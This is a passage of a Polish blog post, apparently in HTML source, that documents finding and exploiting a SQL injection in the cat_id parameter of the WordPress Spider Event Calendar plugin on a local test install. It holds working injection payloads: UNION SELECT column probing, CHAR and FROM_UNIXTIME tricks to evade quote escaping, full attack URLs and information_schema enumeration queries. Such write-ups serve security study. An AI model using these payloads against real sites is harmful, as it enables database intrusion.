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" width="640" /><br />
<br />
<br />
<br />
URL:<br />
<br />
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=ABCD&widget=0</div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Oczywiście
pierwsze co przyszło mi do głowy to zakomentować pozostałą część
zapytania i sprawdzić czy kalendarz coś wyświetli. Próbowałem
różnych kombinacji:</div>
<ol>
<li>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
%20--%20
</div>
</li>
<li>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
%20’--%20
</div>
</li>
<li>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
%20”--%20
</div>
</li>
</ol>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Niestety nic nie
zadziałało ale wpadł mi do głowy jeszcze jeden pomysł –
mianowicie, że jest to parametr, którym przekazywany jest zbiór
kategorii, który ląduje we fragmencie <i><b>IN () </b></i>zapytania SQLowego.
</div>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<ol>
<li>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
%201);--%20
</div>
</li>
</ol>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
I… zadziałało. Pełny URL znajduje się
poniżej:</div>
<blockquote class="tr_bq">
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=%201);--%20&widget=0</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<br /></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Po wywołaniu
powyższego URLa zrzut ekranu wygląda praktycznie tak samo jak na
pierwszym zaprezentowanym zrzucie ekranu. Może się zdarzyć, że
niektóre wydarzenia z kalendarza znikną (te, które mają
przypisaną inną kategorię, a niektóre wycięte z wyników poprzez
zakomentowany fragment zapytania SQL nagle się pojawią.
</div>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Jesteśmy już
bardzo bliscy poprawnego zapytania atakującego bazę danych.
Następnym krokiem jest spróbowanie doklejenia do zapytania takiego
SQLa, który spowoduje pojawienie się dodatkowych wyników w
kalendarzu. Postanowiłem skorzystać z konstrukcji UNION – w takim
wypadku musimy „odgadnąć” z ilu kolumn składa się używane
przez aplikację zapytanie.</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Do tego celu
można użyć magicznej „tabelki” o nazwie DUAL: <style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
</div>
<blockquote class="tr_bq">
<div style="line-height: 100%; margin-bottom: 0cm;">
SELECT 1 FROM DUAL;</div>
</blockquote>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Fragment, który
należy dokleić do parametru <i><b>cat_id</b></i> w query stringu (spacja na końcu
bardzo istotna):</div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
1) UNION SELECT 1
FROM DUAL;--%20</div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Należy doklejać
tak kolejne 1 oddzielone przecinkami przed słowem kluczowym FROM aby
zapytanie się wykonało. Finalnie działające zapytanie wygląda
tak:</div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
1) <span lang="en-US">UNION
SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM DUAL;--%20</span></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Pełny URL z
doklejonym zapytaniem:</div>
<blockquote class="tr_bq">
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20&widget=0</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<br /></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Na razie efekt
jest taki, że zapytanie ma poprawną składnię i poprzedni element
z 2 lutego pojawił się z powrotem na widoku. Teraz musimy sprawić
by jakiś spreparowany przez nas rekord pojawił się np. w dniu 3
lutego 2015 roku. Od razu powiem, że tutaj się namęczyłem, gdyż
okazało się, iż znaki apostrofa i cudzysłowu są escape’owane.
</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Wystarczy
wywołać poniższy URL aby się przekonać, że zapytanie ma
ponownie niepoprawną składnię, gdyż znowu z kalendarza znikają
zdarzenia:</div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,1,%222015-02-03%22,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20&widget=0</div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Trzeba więc
znaleźć sposób aby w wyniku zapytania zwrócić datę w formie
stringa ale nie podawać go w formie stringa w URLu. Rozwiązaniem
okazała się konwersja z UNIX TIMESTAMP. Potrzebujemy zatem
obliczyć timestampa dla dnia 2015-02-03, pomocne nam będzie
poniższe zapytanie:</div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
SELECT
UNIX_TIMESTAMP("2015-02-04");</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
-- WYNIK POWINIEN
WYNOSIC: <span style="color: #444444;"><span style="font-family: Arial, serif;"><span style="font-size: x-small;">1423004400</span></span></span></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Aby uzyskać na
tej podstawie string z datą należy skonwertować w zapytaniu SELECT
z powrotem wartość <b>1423004400</b> do typu DateTime, na surowym
przykładzie:</div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">SELECT
FROM_UNIXTIME(1423004400) FROM DUAL;</span></div>
<div lang="en-US" style="line-height: 100%; margin-bottom: 0cm;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">--
WYNIK POWINIEN WYNOSIC: </span><span style="color: #444444;"><span style="font-family: Arial, serif;"><span style="font-size: x-small;"><span style="background: #ffffff;">2015-02-04
00:00:00</span></span></span></span></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Próbowałem
podstawiać ten element FROM_UNIXTIME(1423004400) w różne kolumny,
jednak nie udało mi się osiągnąć zadowalających rezultatów.
Zapytanie wydawało się mieć poprawną składnię, gdyż stworzony
już element kalendarza wyświetlał się w poprawnym miejscu, jednak
dodawany przeze mnie sztucznie nowy rekord nie chciał się pojawić
w kalendarzu.
</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Niestety – nie
udało mi się również zmodyfikować zapytania tak, aby nadpisać
jakieś wyświetlane pola z pierwszego wiersza ani też pobrać nazwy
tabelki. Na tym etapie próbowałem wykombinować zestaw zapytań
„spreparowanych” , dzięki którym mógłbym podstawić do
kolumn w podstawionym przeze mnie wierszu rzeczywiste wartości z
działających rekordów. Oczywiście nie znałem ani nazwy tabelki,
ani prefixu instalacji… również nieznane mi były nazwy kolumn, o
to co udało mi się stworzyć:</div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">SET
@table = (</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> SELECT
table_name</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> FROM
information_schema.tables</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> WHERE
table_name</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> LIKE
"%\_%event" LIMIT 1</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">);</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">SET
@column = (</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> SELECT
column_name</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> FROM
information_schema.columns </span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> WHERE
table_name = (</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> SELECT
table_name</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> FROM
information_schema.tables</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> WHERE
table_name</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> LIKE
"%\_%event" LIMIT 1</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US"> )
AND ordinal_position = 2</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">);</span></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">SET
@query = CONCAT('SELECT ', @column, ' FROM ', @table); </span>
</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
PREPARE stmt1 FROM
@query;
</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
EXECUTE stmt1;</div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Te zapytanie w
połączeniu z małym skryptem podstawiłoby w sposób brutalny
wartości rzeczywiste z kolumny A do A i tak dalej – aż do momentu
gdzie uzyskałbym odpowiedź którą wartość muszę podstawić do
której kolumny (nie znając ani nazwy tabelki, ani nazwy kolumny ani
też wartości) – chodziło o to by na ślepo dojść do tego aby
spreparowany rekord poprzez UNION wyświetlił się w kalendarzu.</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Niestety próby
wplecenia tego w adres URL nie przyniosły efektu, gdyż nie mogłem
tutaj skombinować tego zapytania w UNION, więc musiałem zakończyć
średnikiem poprzednie a tak straciłem odpowiednie powiązania
pomiędzy polami obiektu i nazwami kolumn (których przecież nie
znałem).
</div>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Oczywiście
pozostała mi opcja próby dodania rzeczywistego wiersza do bazy
danych uzupełniając go częściowo spreparowanymi danymi poprzez
SELECT INTO. Jednak tworzenie wierszy w tabelce o nieznanej nazwie i
uzupełnianie jej na ślepo danymi z nieznanych kolumn jest dosyć
czasochłonne o ile w ogóle udałoby mi się osiągnąć zamierzony
efekt.</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Gdyby ktoś miał
pomysł na to jak uzyskać odpowiednie działające zapytanie bez
zaglądania w kod, proszę o kontakt :-).
Wiadomo, że w niektóre kolumny trzeba podstawić rzeczywiste
wartości, ale dojście tego, w które i skąd – nie jest czymś
banalnym.
</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Ze względu na
to, iż kalendarz ten jest projektem na licencji GNU/GPL - na tym
etapie się poddałem i postanowiłem zajrzeć do kodu. Okazało się,
że w jednej z kolumn jest coś na wzór wartości ENUM (zapisywane
jako varchar) i pole to musi przyjmować jedną z 4 wartości aby
rekord w ogóle pojawił się w wynikach w kalendarzu. Chodzi o
kolumnę „repeat_mode”, która przyjmuje poniższe wartości:</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
</div>
<ul>
<li>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
no_repeat,</div>
</li>
<li>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
daily,</div>
</li>
<li>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
weakly,</div>
</li>
<li>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
monthly,</div>
</li>
<li>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
yearly</div>
</li>
</ul>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0.49cm; margin-top: 0.49cm;">
Na podstawie kodu (ścieżka: <span style="font-family: Times New Roman, serif;"><span style="font-size: small;">
</span></span><span style="font-family: Times New Roman, serif;"><span style="font-size: small;"><i>%wpInstallPath%\wp-content\plugins\spider-event-calendar\front_end\frontend_functions.php</i></span></span><span style="font-family: Times New Roman, serif;"><span style="font-size: small;">)
</span></span>można już łatwo wywnioskować, że data zwracana
jest jako 3 kolumna a typ powtarzania zdarzeń w kalendarzu jako 10
kolumna. Pamiętajmy, że nie możemy przekazywać ani apostrofów
ani cudzysłowu. Musimy przekonwertować string do numerków z
tablicy ASCII i posłużyć się magiczną funkcją CHAR aby podpiąć
te wartość „na sztywno” do zapytania, poprawność sprawdzamy
tak:</div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">SELECT
CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116) as str ;</span></div>
</blockquote>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Doklejane
zapytanie będzie wyglądało zatem tak: <style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
</div>
<blockquote class="tr_bq">
<div style="line-height: 100%; margin-bottom: 0cm;">
<span lang="en-US">1)
UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1,1,1,1,1,1, CHAR(110,
111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM
DUAL;--%20</span></div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
A pełny URL jak
poniżej:</div>
<blockquote class="tr_bq">
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,1,1,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20--%20&widget=0</div>
</blockquote>
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Wynik można
zobaczyć poniżej:</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
<img alt="" height="216" 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l2WpOhzOdgS9aYkT0pmeSF4sWqFZLsw+tuN1qjIGrk5K7/jB26qEcryOZHLEfVbvYqmh36Dcn4JzT07aO1XWnWU8kSyh5FK0UvDRPWxkf1kVTVMmXkB90E9ttFLfPHX+6+SjmpGC3nGRhZKyA9a1aui/6e4gcvBFFtcnKQDiqY+Ti+khnckawgWsWbhGSahkqsxWod8IBfYcSkWvXCdjjGSkUK3HH2r0juWNVOLyesX2N/VjAwtGtWZiGsQqNw2ncZGG6+alZ4EXE55OhP/bUjPz+Dc8E9cnFM22ZEAS0J3pYhTz4McjEou8sZkeN461INUh3/BtyE/5Rj06kstblywRIz2TnfXbGw4qF4ECbFhpHDvGz19xpob71OQoPMFrC/r9tlmrh5x+aQaZzZebyjWUy+bNm169dXZ3/rWNzt06BAYYNKkifn/nEd+8IMfrlq1ylxqrGMtdbZ2TXbsemyIrjlRkFgD1WNbqLVUzUCJVRc09f0htMLOHtaeFjljw+P/+8lPTfW5a9euLS0tTz311D333LNt27bm5man3e3bt//CF75w3vnn2ztzmCZbe1AUXuJX2LVj6bvvrl692pMdefs6d+7crVu3Pn365D83NDRsWL/hvfff23fECGGp27nCMnBjawz7o+FWu5y2YuXKffbZJ2/n+PHj9zY35wzX2onc/fff/8wzz/RtaDCF4zxdunQxxWJzOblmCuCmTmy99tHYk6TF2ISkXW7Ze+/fcMMNvXv3bnBEYjpeX1+fT/H6G274/ve/v++IfYWVoS1GGRgavnHEzHI7+4NXQBu02BZ2zv9nfjbecKgVV1jLMRTmH8/Wfm/IwLoGnLvZEoUNQVjc95Fm7H+xdubNL+h/Xlh+5kfa7/vb1948JVCCvnv